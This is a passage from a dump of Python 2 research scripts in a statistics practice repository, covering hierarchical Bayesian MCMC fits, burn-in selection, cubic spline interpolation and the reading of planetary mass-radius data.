np.ones(n_fixm + 2*n_varm)\n\nnp.savetxt(dir+'hyper_prob_start.out', hyper_prob0)\nnp.savetxt(dir+'local_prob_start.out', local_prob0)\n\nhyper_prob_chain, hyper_chain, local_prob_chain, local_chain, \\\nloglike_chain, repeat_chain, stop_step = \\\nhbm_joint_cdf(hyper_prob0, hyper_stepsize, local_prob0, local_stepsize, n_step,\\\n\t\t\tinverse_hyper, inverse_local, \\\n\t\t\tloglike_func, data = [dat_fixm, dat_varm], \\\n\t\t\ttrial_upbound = 20*n_step)\n\n### save\nnp.savetxt(dir+'hyper_prob.out',hyper_prob_chain[:stop_step,:])\nnp.savetxt(dir+'hyper.out',hyper_chain[:stop_step,:])\nnp.savetxt(dir+'loglike.out',loglike_chain[:stop_step])\nnp.savetxt(dir+'repeat.out',repeat_chain[:stop_step])\n\n### save local for debug\nnp.savetxt(dir+'local_prob.out',local_prob_chain[:stop_step,:])\nnp.savetxt(dir+'local.out',local_chain[:stop_step,:])\n\n### save top for restart\n'''\ntop_ind = np.argsort(loglike_chain)[-100:]\nnp.savetxt(dir+'local_prob_top.out',local_prob_chain[top_ind,:])\nnp.savetxt(dir+'local_top.out',local_chain[top_ind,:])\nnp.savetxt(dir+'hyper_prob_top.out',hyper_prob_chain[top_ind,:])\nnp.savetxt(dir+'hyper_top.out',hyper_chain[top_ind,:])\n'''\n\n### save last for resume\n'''\nlast_ind = stop_step-1\nnp.savetxt(dir+'local_prob_last.out',local_prob_chain[last_ind,:])\nnp.savetxt(dir+'hyper_prob_last.out',hyper_prob_chain[last_ind,:])\n'''\n\n\n\n" }, { "alpha_fraction": 0.6081972718238831, "alphanum_fraction": 0.646057665348053, "avg_line_length": 22.801652908325195, "blob_id": "19d07b652e1d8db196b4cb4dc79febc322de4593", "content_id": "14aafdf59fd70fc59e7be4c05f89ede6c4badcb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2879, "license_type": "no_license", "max_line_length": 153, "num_lines": 121, "path": "/Projects/test_degen_abc.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nDoes HBM with a bunch of data break the degeneracy?\n-----------\nProblem: With Mass and Radius measurements from some exoplanets, can we use HBM to infer the fraction of iron, silicate, and water, from a 3-layer model.\n-----------\nTest:\nGiven A,B,C\nDraw (a,b,c)s from A,B,C\nCalculate y1=8a+3b+c and y2=a+b+c\nNow, given (y1,y2)s\nCan we find A,B,C?\n'''\n\n### import \nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mcmc import hbm_joint_cdf\nfrom scipy.stats import norm, uniform\n\n# random seed\nseed = 2357\nnp.random.seed(seed)\n\n# hyper A,B,C\nhyper_a = 3.\nhyper_b = 2.\nhyper_c = 7.\n\n# local a,b,c\nn_group = 20\nscatter = 0.5\nlocal_a = np.random.normal( loc = hyper_a, scale = scatter, size = n_group)\nlocal_b = np.random.normal( loc = hyper_b, scale = scatter, size = n_group)\nlocal_c = np.random.normal( loc = hyper_c, scale = scatter, size = n_group)\n\n# observed\ny1 = 8.*local_a + 3.*local_b + 1.*local_c\ny2 = 1.*local_a + 1.*local_b + 1.*local_c\n\nprint 'a', local_a\nprint 'b', local_b\nprint 'c', local_c\nprint 'y1', y1\nprint 'y2', y2\n\n\n### inverse prior\ndef inverse_hyper(hyper_prob):\n\tpr_a, pr_b, pr_c = hyper_prob\n\ta, b, c = uniform.ppf([pr_a, pr_b, pr_c], 0., 10.)\n\t\n\thyper = np.array([a, b, c])\n\treturn hyper\n\ndef inverse_local(local_prob, hyper):\n\tn_group = len(local_prob) /3\n\ta = norm.ppf(local_prob[0:n_group], hyper[0], scatter)\n\tb = norm.ppf(local_prob[n_group:2*n_group], hyper[1], scatter)\n\tc = norm.ppf(local_prob[2*n_group:], hyper[2], scatter)\n\tlocal = np.hstack((a,b,c))\n\treturn local\n\n\n\n### likelihoods\ndef model(a,b,c):\n\ty1 = 8.*a + 3.*b + 1.*c\n\ty2 = 1.*a + 1.*b + 1.*c\n\treturn y1, y2\n\ndef data_given_local(local, model, y1, y2):\n\tn_group = len(local)/3\n\n\tlocal_a = local[0:n_group]\n\tlocal_b = local[n_group:2*n_group]\n\tlocal_c = local[2*n_group:]\n\n\ty1_model, y2_model = model(local_a, local_b, local_c)\n\ttotal_loglikelihood = - np.sum(y1-y1_model)**2. - np.sum(y2-y2_model)**2.\n\treturn total_loglikelihood\n\n\n\n### mcmc\nimport time\nprint 'start:', time.asctime()\n\nn_step = int(1e4)\nn_hyper = 3\n\nhyper_prob0 = np.array([0.5, 0.5, 0.5])\nlocal_prob0 = 0.5 * np.ones(3*n_group)\nhyper_stepsize = 1e-2 * np.ones(n_hyper)\nlocal_stepsize = 1e-2 * np.ones(3*n_group)\n\nhyper_prob_chain, hyper_chain, local_prob_chain, local_chain, \\\nloglikelihood_chain, repeat_china, stop_step = \\\nhbm_joint_cdf( hyper_prob0, hyper_stepsize, local_prob0, local_stepsize, n_step, \\\ninverse_hyper, inverse_local, \\\ndata_given_local, model, data = [y1, y2], \\\ntrial_upbound = 1e5, random_seed = seed )\n\nprint 'end:', time.asctime()\n\n\n### plot\nrow = 1\ncol = 3\n\nf, (a0,a1,a2) = plt.subplots(row, col, figsize=(col*5, row*5))\nax = (a0,a1,a2)\n\nfor j in range(3):\n\tax[j].plot(hyper_chain[:stop_step, j], 'b-')\n\tax[j].set_ylim([0.,10.])\n\nax[0].set_xlabel('a=%.2f' %hyper_a)\nax[1].set_xlabel('b=%.2f' %hyper_b)\nax[2].set_xlabel('c=%.2f' %hyper_c)\n\nplt.savefig('Figure/test_degen_abc.png')" }, { "alpha_fraction": 0.6320254802703857, "alphanum_fraction": 0.6468716859817505, "avg_line_length": 23.205127716064453, "blob_id": "aa3909dd5818bb4446dcc841424ebf3f57f57f17", "content_id": "2fcfe829bc99abb731dabf7c3a7f0e41bc5086af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 943, "license_type": "no_license", "max_line_length": 84, "num_lines": 39, "path": "/NaiveMC/burnout.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "''' auto_burn '''\n### pick the first step that p == median(p_chain)\n\n'''\ndef almost_equal(array,value,tolerance=0.):\n\tdiff = np.abs(array - value)\n\treturn diff<=tolerance\n\ndef auto_burn(p_seq, tolerance=[], fix_ratio=0.5):\n\tn_para, n_step = np.shape(p_seq)\n\n\tp_median = np.median(p_seq, axis=1)\n\n\tif len(tolerance)!=0:\n\t\tt = tolerance\n\telse:\n\t\tp_stddev = np.std(p_seq, axis=1)\n\t\tt = p_stddev / n_step\n\n\tburn = (n_step-1) * np.ones(n_para)\n\tfor i_para in range(n_para):\n\t\tburn_ind = np.where( almost_equal(p_seq[i_para,:],p_median[i_para],t[i_para]) )[0]\n\t\tif len(burn_ind)==0: burn[i_para] = n_step-1\n\t\telse: burn[i_para] = burn_ind[0]\n\n\tburn_step = np.max(burn)\n\n\t# if the NO burn in, just use the last half of the chain\n\tif burn_step==n_step-1: burn_step= int(n_step * fix_ratio)\n\t\n\treturn burn_step\n'''\n\nimport numpy as np\n\ndef median_burn(loglike):\n\tmedian = np.median(loglike)\n\tburn_step = np.where(loglike>median)[0][0]\n\treturn burn_step" }, { "alpha_fraction": 0.6072326302528381, "alphanum_fraction": 0.6563527584075928, "avg_line_length": 27.103260040283203, "blob_id": "889cdd964fe7efd0080ceedd88d42819c1c8b80f", "content_id": "e90f4f08f7f6d2d917dc1c1ac641110805dc1071", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5171, "license_type": "no_license", "max_line_length": 116, "num_lines": 184, "path": "/Projects/test_multiline_hbmjoint.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nfit multiple lines with hbm_joint\n'''\n\n\n\n### import package\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom model_fit import model_poly1 as model\nfrom mcmc import hbm_joint, hbm_joint_cdf\nfrom scipy.stats import norm, uniform\nfrom inverse_sampling import inverse_lognormal\n\n\n### generate line\nseed = 2357\nnp.random.seed(seed)\n\nhyper_c1 = 3.\nhyper_c0 = 5.\nn_group = 10\nn_point = 1\nhyper_sigc1 = 1e0\nhyper_sigc0 = 1e0\n\nlocal_c1 = np.random.normal( loc=hyper_c1, scale = hyper_sigc1, size=n_group )\nlocal_c0 = np.random.normal( loc=hyper_c0, scale = hyper_sigc0, size=n_group )\n\nx_real = np.zeros((n_point,n_group))\ny_data = np.zeros((n_point,n_group))\ny_err = np.zeros((n_point,n_group))\nerr_size = 2.\n\nfor i in range(n_group):\n\tx_real[:,i] = np.sort(np.random.uniform(-5,5,n_point))\n\ty_real = model(x_real[:,i],(local_c0[i], local_c1[i]))\n\ty_err[:,i] = err_size * np.random.random(n_point)\n\ty_data[:,i] = y_real + np.random.normal(loc=0., scale=y_err[:,i], size=n_point)\n\n\n\n'''\nlog likelihood depends on the assumption of the data\nassuming y_data ~ N(y_real, y_err)\n'''\ndef data_given_local(local, x_real, y_data, y_err):\n\tn_group = len(local)/2\n\tlocal_c1 = local[:n_group]\n\tlocal_c0 = local[n_group:]\n\n\ttotal_loglikelihood = 0.\n\tfor i_group in range(n_group):\n\t\ty_model = model(x_real[:,i_group],(local_c0[i_group], local_c1[i_group]))\n\t\tloglikelihood = 0. - np.sum( (y_model - y_data[:,i_group])**2. / (2.*y_err[:,i_group]**2.) )\n\t\ttotal_loglikelihood = total_loglikelihood + loglikelihood\n\t\n\treturn total_loglikelihood\n\n\ndef local_given_hyper(hyper, local):\n\thyper_c1,hyper_c0,hyper_sigc1,hyper_sigc0 = hyper\n\n\tn_group = len(local)/2\n\tlocal_c1 = local[:n_group]\n\tlocal_c0 = local[n_group:]\n\n\ttotal_loglikelihood = 0.- n_group * ( np.log(hyper_sigc1) + np.log(hyper_sigc0) ) \\\n\t- np.sum( (local_c1-hyper_c1)**2. / (2.*hyper_sigc1**2.) ) \\\n\t- np.sum( (local_c0-hyper_c0)**2. / (2.*hyper_sigc0**2.) )\n\n\treturn total_loglikelihood\n\n\ndef hyper_prior(hyper):\n\treturn 0.\n\n\n''' domain check '''\ndef hyper_domain(hyper_tmp, hyper_old):\n\thyper_new = hyper_tmp + 0.\n\tif hyper_tmp[2] <= 0.:\n\t\thyper_new[2] = hyper_old[2] + 0.\n\tif hyper_tmp[3] <= 0.:\n\t\thyper_new[3] = hyper_old[3] + 0.\n\t\n\treturn hyper_new\n\n\n''' inverse cdf '''\n'''\ndef inverse_hyper(hyper_prob):\n\tpr_c1, pr_c0, pr_sigc1, pr_sigc0 = hyper_prob\n\n\tc1, c0 = uniform.ppf([pr_c1, pr_c0], -10., 30.) # min, range\n\tsigc1, sigc0 = inverse_lognormal( np.array([pr_sigc1, pr_sigc0]), 0., 0.25)\n\n\thyper = np.array([ c1, c0, sigc1, sigc0 ])\n\treturn hyper\n\ndef inverse_local(local_prob, hyper):\n\tn_group = len(local_prob)/2\n\tc1 = norm.ppf(local_prob[:n_group], hyper[0], hyper[2] )\n\tc0 = norm.ppf(local_prob[n_group:], hyper[1], hyper[3] )\n\tlocal = np.hstack((c1, c0))\n\treturn local\n'''\n\n\n### mcmc\nimport time\nprint 'start:', time.asctime()\n\nn_step = int(1e5)\nn_hyper = 4 # hyper_c1, hyper_c0, hyper_sigc1, hyper_sigc0\n\n\nhyper0 = np.array([ 2.*hyper_c1, 2.*hyper_c0, hyper_sigc1, hyper_sigc0]) \nlocal0 = 2.*np.hstack((local_c1,local_c0))\nhyper_stepsize = np.array([1e-1, 1e-1, 1e-1, 1e-1])\nlocal_stepsize = 1e-1 * np.ones(2*n_group)\n\nhyper_chain, local_chain, loglikelihood_chain, repeat_chain, stop_step = \\\nhbm_joint(hyper0, hyper_stepsize, local0, local_stepsize, n_step, \\\nhyper_prior, local_given_hyper, data_given_local, data=[x_real,y_data,y_err], \\\nhyper_domain=hyper_domain, local_domain = None, \\\ntrial_upbound = 1e6, random_seed = seed)\n\n\n'''\nhyper_prob0 = np.array([0.3, 0.3, 0.8, 0.8])\nlocal_prob0 = 0.3 * np.ones(2*n_group)\nhyper_stepsize = 3e-3 * np.ones(n_hyper)\nlocal_stepsize = 3e-3 * np.ones(2*n_group)\n\nhyper_prob_chain, hyper_chain, local_prob_chain, local_chain, \\\nloglikelihood_chain, repeat_chain, stop_step = \\\nhbm_joint_cdf(hyper_prob0, hyper_stepsize, local_prob0, local_stepsize, n_step,\\\ninverse_hyper, inverse_local, \\\ndata_given_local, model, data=[x_real, y_data, y_err], \\\ntrial_upbound = 1e6, random_seed = seed)\n'''\n\n\nprint 'end:', time.asctime()\n\n\n### plot\nrow = 2\ncol = 4\n\nf,((a00,a01,a02,a03),(a10,a11,a12,a13))=plt.subplots(row,col,figsize=(col*5,row*5))\nax = ((a00,a01,a02,a03),(a10,a11,a12,a13))\n\nfor i_group in range(n_group):\n\tax[0][0].errorbar(x_real[:,i_group],y_data[:,i_group],yerr = y_err[:,i_group],fmt='.')\n\tax[0][0].plot(x_real[:,i_group],model(x_real[:,i_group],(local_c0[i_group], local_c1[i_group])),'b-')\nax[0][0].legend(['c0 %.1f' %hyper_c0, 'c1 %.1f' %hyper_c1, 'sig_c0 %.1f' %hyper_sigc0, 'sig_c1 %.1f' %hyper_sigc1],\\\nloc=0)\n\nax[0][1].plot(repeat_chain[:stop_step],'b-')\nax[0][1].set_xlabel('repeat times')\n\ndelta_log = loglikelihood_chain[1:] - loglikelihood_chain[:-1]\nratio = np.exp(delta_log)\nratio[np.where(ratio>1)[0]] = 1\nax[0][2].plot(ratio[:stop_step-1], 'b-')\nax[0][2].set_xlabel('ratio')\n\nax[0][3].plot(range(stop_step/2,stop_step), loglikelihood_chain[stop_step/2:stop_step],'b-')\nax[0][3].set_xlabel('loglikelihood')\n\n\nfor j in range(col):\n\tax[1][j].plot(range(stop_step/2,stop_step), hyper_chain[stop_step/2:stop_step, j],'b-')\n\n\nax[1][0].set_xlabel('hyper_c1')\nax[1][1].set_xlabel('hyper_c0')\nax[1][2].set_xlabel('hyper_sigc1')\nax[1][3].set_xlabel('hyper_sigc0')\n\n\nplt.savefig('Figure/test_multiline_hbmjoint'+str(int(time.time()))+'.png')\n" }, { "alpha_fraction": 0.5295630097389221, "alphanum_fraction": 0.5751928091049194, "avg_line_length": 19.16883087158203, "blob_id": "859c0c043b4ca2e0e107e8193fcbca5fae2f10c8", "content_id": "b8d433377cdce71813b4526270b4a8203280de7c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1556, "license_type": "no_license", "max_line_length": 71, "num_lines": 77, "path": "/SmallPiece/cubic_spline.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nwrite an algorithm to do cubic spline\nrefer to cubicsplines.pdf\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n###\nseed = 2357\nnp.random.seed(seed)\n\n### generate x,y\nx = np.arange(10)\n\n### define your own function\ndef real_func(x):\n\treturn np.sin(x)\n\ny = real_func(x)\n\n\n### input x_test, the place where you want to know y from interpolation\nx_test = np.linspace(0.1,8.9,150)\n\n\n### cubic spline\n# interpolation function\ndef inter_one(x,t1,t2,y1,y2,z1,z2):\n\th = t2-t1\n\ty = (z2/6./h) * (x-t1)**3. + (z1/6./h) * (t2-x)**3. +\\\n\t\t(y2/h - z2/6.*h) * (x-t1) + (y1/h - h/6.*z1) * (t2-x)\n\treturn y\n\n# solve coefficients\ndef cubic_spline(x,y):\n\tn = len(x)\n\th = x[1:] - x[:-1]\n\tb = (y[1:] - y[:-1])/h\n\tv = 2.* (h[1:] + h[:-1])\n\tu = 6.* (b[1:] - b[:-1])\n\tz = np.zeros(n); z[0] = 0.; z[n-1] = 0.\n\n\tC = np.diag(v,0)+np.diag(h[1:-1],1)+np.diag(h[1:-1],-1)\n\n\tz[1:-1] = np.linalg.solve(C,u)\n\tprint z\n\t\n\tdef interpolate(x_test):\n\t\ty_test = np.zeros_like(x_test)\n\t\tfor i,ax in enumerate(x_test):\n\t\t\tif (ax>=x[-1]) or (ax<=x[0]):\n\t\t\t\tprint ax,'is out of fitting bound'\n\t\t\t\treturn 0.\n\t\t\tj = np.where(ax<x)[0][0]\n\t\t\ty_test[i] = inter_one(ax,x[j-1],x[j],y[j-1],y[j],z[j-1],z[j]) \n\t\treturn y_test\n\n\treturn interpolate\n\t\n\n###\ninter = cubic_spline(x,y)\ny_test = inter(x_test)\n\n\n### plot\nplt.figure(figsize=(8,6))\ndata, = plt.plot(x,y,'bo')\nfit, = plt.plot(x_test,y_test,'r--')\n\nall_x = np.sort(np.concatenate((x,x_test)))\nreal, = plt.plot(all_x,real_func(all_x),'k--')\n\nplt.legend([data,fit,real],['data','fit','real'], loc=0)\n\nplt.savefig('plt_cubic_spline.png')\n\n\n\n" }, { "alpha_fraction": 0.5903614163398743, "alphanum_fraction": 0.6414749622344971, "avg_line_length": 27.17525863647461, "blob_id": "e7ce6006c5123dbbd80a6507daa4083aed0b4baf", "content_id": "f4c800ab344cb2ac94d4964aa59601ff6b23f9ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2739, "license_type": "no_license", "max_line_length": 129, "num_lines": 97, "path": "/Projects/test_marcy_mc.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nis this a more natural way to find out the populations and their properties?\nsimple mcmc on each planet -> a distribution of (alpha, beta) for each planet\ncombine all the planets' distribution and see if there is some cluster\n'''\n\n### import \nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mcmc import mcmc\n### radius as a function of mass, alpha, beta, same as test_marcy.py\nfrom model_fit import radius_lz\n\n\n### data\ndata = np.loadtxt('/Users/jingjing/Work/Data/2014-Marcy/2014-Marcy-TestSample.txt', skiprows=2, usecols=(1,2,5,6), delimiter=',')\n\nmass_obs = data[:,0]\nmass_err = data[:,1]\nrad_obs = data[:,2]\nrad_err = data[:,3]\n\nn_planet = len(mass_obs)\n\n\n### loglikelyhood\ndef loglikelihood(parameter, mass_obs, mass_err, rad_obs, rad_err):\n\talpha, beta, mass_th = parameter\n\trad_th = radius_lz(mass_th, alpha, beta)\n\t\n\tloglikelihood = 0.- (mass_th-mass_obs)**2./mass_err**2. - (rad_th-rad_obs)**2./rad_err**2.\n\n\treturn loglikelihood\n\n\n### parameter domain\ndef domain(p_tmp, p_old):\n\tp_new = p_tmp\n\n\talpha, beta, mass = p_tmp\n\tif (alpha<0.) or (beta<0.) or (alpha+beta>1.):\n\t\tp_new[0], p_new[1] = p_old[0], p_old[1]\n\tif (mass<0.):\n\t\tp_new[2] = p_old[2]\n\treturn p_new\n\n\n### loop mcmc\nimport time\nprint 'start', time.asctime()\n\nn_step = int(5e5)\nn_para = 3\n\npara_chain = np.zeros((n_step, n_planet*n_para))\nloglikelihood_chain = np.zeros((n_step, n_planet))\n\np0 = np.array([0.3, 0.3, 2. ]) # alpha, beta, mass\np_stepsize = np.array([1e-2, 1e-2, 0.2])\n\nfor i in range(n_planet):\n\tpara_chain[:, (i*n_para):((i+1)*n_para)], loglikelihood_chain[:, i] = mcmc( p0, p_stepsize, n_step, loglikelihood, \\\n\t\t\t\t\t\t\t\t\tdata=[mass_obs[i], mass_err[i], rad_obs[i], rad_err[i]], domain=domain )\n\n\nprint 'end', time.asctime()\n\n\n### print\nnp.savetxt('test_marcy_cluster_parameter.out',para_chain)\nnp.savetxt('test_marcy_cluster_loglike.out',loglikelihood_chain)\n\n\n### plot\nrow = 2\ncol = 4\n\nf, ((a00,a01,a02,a03),(a10,a11,a12,a13))=plt.subplots(row,col,figsize=(col*5,row*5))\nax = ((a00,a01,a02,a03),(a10,a11,a12,a13))\n\nfor i in range(n_planet):\n\tax[0][0].plot(para_chain[:,i*n_para], alpha=1./(i+1))\n\tax[0][1].plot(para_chain[:,i*n_para+1], alpha=1./(i+1))\n\tax[0][2].plot(para_chain[:,i*n_para+2], alpha=1./(i+1))\n\tax[0][3].plot(loglikelihood_chain, alpha=1./(i+1))\n\n\tax[1][0].plot(para_chain[n_step/2:n_step, i*n_para], para_chain[n_step/2:n_step, i*n_para+1], 'b.', alpha=0.005)\n\nax[0][0].set_xlabel(r'$\\alpha$'); ax[0][0].set_ylim([0.,1.])\nax[0][1].set_xlabel(r'$\\beta$'); ax[0][1].set_ylim([0.,1.])\nax[0][2].set_xlabel('mass')\nax[0][3].set_xlabel('loglikelihood')\n\nax[1][0].set_xlabel(r'$\\alpha$'); ax[1][0].set_ylabel(r'$\\beta$')\nax[1][0].set_xlim([0.,1.]); ax[1][0].set_ylim([0.,1.])\n\nplt.savefig('Figure/test_marcy_cluster.png')\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6325088143348694, "alphanum_fraction": 0.6890459656715393, "avg_line_length": 13.947368621826172, "blob_id": "106af47fc09338b4704a1ecdfd7768e07564aaff", "content_id": "e06efe60850734b2b1a3ee7008a25ff1b8c7a504", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 283, "license_type": "no_license", "max_line_length": 45, "num_lines": 19, "path": "/WildThought/gaussian_error.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\nn_sample = 10000\n\nx = 10.\nx_err = x/5.\nx_sample = np.random.normal(x,x_err,n_sample)\n\nlogx = np.log10(x)\nlogx_sample = np.log10(x_sample)\n\nplt.hist(x_sample, bins=50)\nplt.show()\n\nplt.clf()\n\nplt.hist(logx_sample, bins=50)\nplt.show()" }, { "alpha_fraction": 0.5370925664901733, "alphanum_fraction": 0.6217684745788574, "avg_line_length": 26.09136962890625, "blob_id": "66f673984ffdae6872fc67b8e9e8541e50e708e3", "content_id": "ae9dae83f6f3ebd699d308996098fb1e8a75c2a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5338, "license_type": "no_license", "max_line_length": 104, "num_lines": 197, "path": "/Projects/PlanetGroup/readdata.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "### import \nimport numpy as np\nimport matplotlib.pyplot as plt\n\n### file paths\ndir = '/Users/jingjing/Work/DK_project/Data/'\n\nfile = [\n'2010-Torres/binarystar.csv', #0\n'2011-Carter/2010-Kraus.csv', #1\n#'2011-Carter/2009-Vida.csv', #2\n'2011-Carter/2010-Cakirli.csv', #3\n'2015-Hatzes/browndwarfs.csv', #4\n'2015-Hatzes/otherstars.csv', #5\n'DKipping/moons.dat', #6\n#'TEPCat/allplanets.csv', #7\n#'TEPCat/allplanets-1202.csv', #7\n'TEPCat/allplanets-0125.csv', #7\n'Wiki/dwarfplanet.csv', #8\n'NASA/solarplanets.csv' #9\n]\n\n\n### unit convert\n# http://nssdc.gsfc.nasa.gov/planetary/factsheet/sunfact.html\nmsun2mearth = 333000.\nrsun2rearth = 109.2\n# http://nssdc.gsfc.nasa.gov/planetary/factsheet/jupiterfact.html\nmjup2mearth = 317.83\nrjup2rearth = 10.973\n# http://nssdc.gsfc.nasa.gov/planetary/factsheet/earthfact.html\nmearth2kg = 5.9726e24\nrearth2km = 6371.0\n\n\n### select almost gaussian error\ndef select_gaussian(err):\n\tup = err[:,0]\n\tdown = err[:,1]\n\tmean_err = (up+down)/2.\n\tdiff = np.abs(up-down) / mean_err\t\n\t#ind = diff<0.1\t\n\tind = diff<0.1\n\treturn ind, mean_err.reshape(len(up),1)\n\n\n### read \n# format: M (ME), Merr, R (RE), Rerr\ni=0\n\nd0 = np.loadtxt(dir+file[i], skiprows=48, usecols=(4,5,6,7), delimiter=';')\nd0_m = d0[:,0:2]\nd0_r = d0[:,2:4]\nd0 = np.hstack(( d0_m * msun2mearth, d0_r * rsun2rearth ))\ni +=1\n\nd1 = np.loadtxt(dir+file[i], skiprows=1, usecols=(1,2,3,4,5), delimiter=',')\nd1_m = d1[:,0:2]\nd1_r = (d1[:,2]).reshape(len(d1[:,2]),1)\nd1_rerr = ( (d1[:,3]**2.+ d1[:,4]**2.)**0.5 ).reshape(np.shape(d1_r))\nd1 = np.hstack(( d1_m * msun2mearth, d1_r * rsun2rearth, d1_rerr * rsun2rearth ))\ni +=1\n\n'''\nd2 = np.loadtxt(dir+file[2], skiprows=1, delimiter=',')\nd2_m = d2[:,0:2]\nd2_r = d2[:,2:4]\nd2 = np.hstack(( d2_m * msun2mearth, d2_r * rsun2rearth ))\n'''\n\nd3 = np.loadtxt(dir+file[i], skiprows=1, delimiter=',')\nd3_m = d3[:, 0:2]\nd3_r = d3[:, 2:4]\nd3 = np.hstack(( d3_m * msun2mearth, d3_r * rsun2rearth ))\ni +=1\n\nd4 = np.loadtxt(dir+file[i], skiprows=1, usecols=(1,2,3,4,5,6),delimiter=',')\nmind4, merr4 = select_gaussian(d4[:,1:3]) # error\nrind4, rerr4 = select_gaussian(d4[:,4:6]) \nrowind = mind4 & rind4\nd4_m = d4[rowind, 0:2]\nd4_m[:,1] = merr4[rowind,0]\nd4_r = d4[rowind, 3:5]\nd4_r[:,1] = rerr4[rowind,0]\nd4 = np.hstack(( d4_m * mjup2mearth, d4_r * rjup2rearth ))\ni +=1\n\nd5 = np.loadtxt(dir+file[i], skiprows=1, usecols=(1,2,3,4,5,6), delimiter=',')\nmind5, merr5 = select_gaussian(d5[:,1:3]) # error\nrind5, rerr5 = select_gaussian(d5[:,4:6])\nrowind = mind5 & rind5 \nd5_m = d5[rowind, 0:2]\nd5_m[:,1] = merr5[rowind,0]\nd5_r = d5[rowind, 3:5]\nd5_r[:,1] = rerr5[rowind,0]\nd5 = np.hstack(( d5_m * msun2mearth, d5_r * rsun2rearth ))\ni +=1\n\nd6 = np.loadtxt(dir+file[i], skiprows=1, usecols=(1,2))\nn_line,n_col = np.shape(d6)\nd6_m = d6[:,0].reshape(n_line,1)\nd6_r = d6[:,1].reshape(n_line,1)\nerr = np.zeros_like(d6_m)\nd6 = np.hstack(( d6_m, err, d6_r, err ))\ni +=1\n\nd7 = np.loadtxt(dir+file[i], skiprows=1, usecols=(26,27,28,29,30,31),delimiter=',')\nmind7, merr7 = select_gaussian(d7[:,1:3]) # error\nrind7, rerr7 = select_gaussian(d7[:,4:6])\nrowind = mind7 & rind7 \nd7_m = d7[rowind, 0:2]\nd7_m[:,1] = merr7[rowind,0]\nd7_r = d7[rowind, 3:5]\nd7_r[:,1] = rerr7[rowind,0]\nd7 = np.hstack(( d7_m * mjup2mearth, d7_r * rjup2rearth ))\ni +=1\n\nd8 = np.loadtxt(dir+file[i], skiprows=3, usecols=(1,2,3,4,5), delimiter=',')\nrowind = (d8[:,3] == d8[:,4])\nd8_m = d8[rowind, 0:2]\nd8_d = d8[rowind, 2:4]\nd8 = np.hstack(( d8_m*1e21/mearth2kg, d8_d/2./rearth2km ))\ni +=1\n\nd9 = np.loadtxt(dir+file[i], skiprows=5, usecols=(1,2),delimiter=',')\nn_line,n_col = np.shape(d9)\nd9_m = d9[:,0].reshape(n_line,1)\nd9_r = d9[:,1].reshape(n_line,1)\nerr = np.zeros_like(d9_m)\nd9 = np.hstack(( d9_m, err, d9_r, err ))\n\n\n### combine data\n#dat_list = [d0,d1,d2,d3,d4,d5,d6,d7,d8,d9]\nwhole_dat = np.vstack(( d0,d1,d3,d4,d5,d6,d7,d8,d9 ))\n\ndpl = np.vstack(( d6, d8 ))\nepl = d7\nspl = d9\nbd = d4\nst = np.vstack(( d0, d1, d3, d5 ))\n\n### select\ndef select(dat):\n\t# valid data\n\tind = (dat[:,0]>0.) & (dat[:,1]>=0.) & (dat[:,2]>0.) & (dat[:,3]>=0.)\n\t# 3 sigma cut\n\tind = ind & (dat[:,0]/dat[:,1] > 3.) & (dat[:,2]/dat[:,3] > 3.)\n\t# mass range\n\tmax_mass = 2.9e5 # less than universe age\n\tmin_mass = 5.7e-5 # wiki dwarf planet, the transition to hydrostatic equilibrium\n\tind = ind & (dat[:,0] > min_mass) & (dat[:,0] < max_mass)\n\n\tdat = dat[ind,:]\n\treturn dat\n\n### pass data\ndef data():\n\treturn select(whole_dat)\n\ndef multi_data():\n\treturn select(dpl), select(epl), select(spl), select(bd), select(st)\n\n\n### examine data\ndef plot():\n\tdat = select(whole_dat)\n\tplt.plot(dat[:,0], dat[:,2], linestyle='None', marker='o', markerfacecolor='None', markeredgecolor='k')\n\t#plt.errorbar(dat[:,0], dat[:,2], xerr=dat[:,1], yerr=dat[:,3], fmt='.')\n\tplt.xscale('log'); plt.yscale('log')\n\tplt.xlabel(r'M [M$_\\oplus$]'); plt.ylabel(r'R [R$_\\oplus$]')\n\tplt.savefig('MR_data.png')\n\treturn 0\n\n\n### save data\ndef save():\n\tnp.savetxt(dir+'Mine/PlanetGroup.txt', data())\n\treturn 0\n\n### save multi\ndef save_multi():\n\tnp.savetxt(dir+'Mine/dpl.txt', select(dpl))\n\tnp.savetxt(dir+'Mine/epl.txt', select(epl))\n\tnp.savetxt(dir+'Mine/spl.txt', select(spl))\n\tnp.savetxt(dir+'Mine/bd.txt', select(bd))\n\tnp.savetxt(dir+'Mine/st.txt', select(st))\n\treturn 0\n\n\n### main\nif __name__ == '__main__':\n\t#save()\n\tsave_multi()\n\t#plot()\n\t#np.savetxt('test3.txt',data())\n\t#np.savetxt(dir+'Mine/PlanetGroup-0125.txt',data())\n\n" }, { "alpha_fraction": 0.6440678238868713, "alphanum_fraction": 0.6737288236618042, "avg_line_length": 20.454545974731445, "blob_id": "687418e0f884f8553a2077cb262bc735a25b2c2f", "content_id": "a0f5521b1b52ba5fe2a23b85e7789ebd6b7e4747", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 236, 